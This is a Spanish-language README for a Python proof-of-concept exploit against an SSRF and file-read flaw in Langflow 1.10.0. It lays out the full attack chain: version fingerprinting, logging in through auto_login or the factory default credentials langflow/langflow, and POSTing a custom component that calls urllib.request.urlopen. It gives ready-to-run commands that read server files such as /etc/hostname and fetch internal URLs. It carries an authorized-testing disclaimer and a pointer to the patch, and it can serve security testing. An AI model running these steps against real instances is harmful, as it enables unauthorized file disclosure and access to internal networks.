
PoC en Python para CVE-2026-12944, una vulnerabilidad de SSRF mediante urllib y lectura de archivos en Langflow 1.10.0. Identifica versiones y explota el endpoint custom_component.
Langflow 1.10.0 urllib SSRF
Langflow OSS ≤ 1.10.0 — ejecución de código en componentes personalizados mediante urllib.request / socket. La lista de denegación del escáner de componentes omitía esos módulos de la biblioteca estándar. IBM lo corrigió en 1.10.1.
IBM lo puntúa como PR:L. El sink de ejecución es POST /api/v1/custom_component y esa llamada requiere una cookie de sesión / token bearer. Cómo obtiene uno este PoC:
--test no autentica. Solo hace GET /api/v1/version (más un GET / de conectividad).--read / --fetch autentican primero, luego hacen POST del componente.LANGFLOW_AUTO_LOGIN. El script hace y, si el JSON tiene , envía . Sin nombre de usuario ni contraseña.GET /api/v1/auto_loginaccess_tokenAuthorization: Bearer …POST /api/v1/login con --uname / --password como application/x-www-form-urlencoded (username, password). Los valores predeterminados de fábrica son langflow / langflow.POST /api/v1/custom_component con {"code": …} que llama a urllib.request.urlopen(...).--uname / --password existen solo para el paso 4. No se usan en una instalación predeterminada.
Solo para pruebas autorizadas. No ejecutes esto contra sistemas que no sean tuyos o que no tengas permiso para probar.
Requiere: Python 3, solo biblioteca estándar.
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
| Flag | Qué hace |
|---|---|
-u / --url | URL base de Langflow (obligatorio). http:// o https://. Un nombre de host sin esquema se prueba primero como HTTPS, luego HTTP. Las redirecciones http→https conservan el POST. Los certificados TLS inválidos se reintentan sin verificación; --insecure omite la verificación desde el principio |
--test | Solo fingerprinting: GET /api/v1/version (público). Sin login, sin custom_component |
--read PATH | Dispara el gadget: lectura file:// con urllib.request de PATH (se ejecuta en el servidor) |
--fetch URL | SSRF: urllib.request.urlopen(URL) e imprime el cuerpo |
--uname / --password | Solo si AUTO_LOGIN está desactivado (valores predeterminados de fábrica: langflow / langflow) |
--insecure | Omite la verificación TLS |
--timeout | Segundos de timeout HTTP (predeterminado 30) |
Endpoint de --test: GET /api/v1/version. Un 200 con "version" / "main_version" imprime VERSION, luego IN_WINDOW si esa cadena es 1.0.0–1.10.0, luego PRESENT. Nunca accede a /api/v1/auto_login ni a /api/v1/custom_component.
--read / --fetch acceden a GET /api/v1/auto_login (o POST /api/v1/login), luego a POST /api/v1/custom_component.
Stdout: VERSION, IN_WINDOW, OUT_OF_WINDOW, PRESENT, VULNERABLE, NEED_AUTH, NOT_FOUND, NOT_VULNERABLE, READ.

CVE: CVE-2026-12944. Boletín de IBM; actualiza a 1.10.1.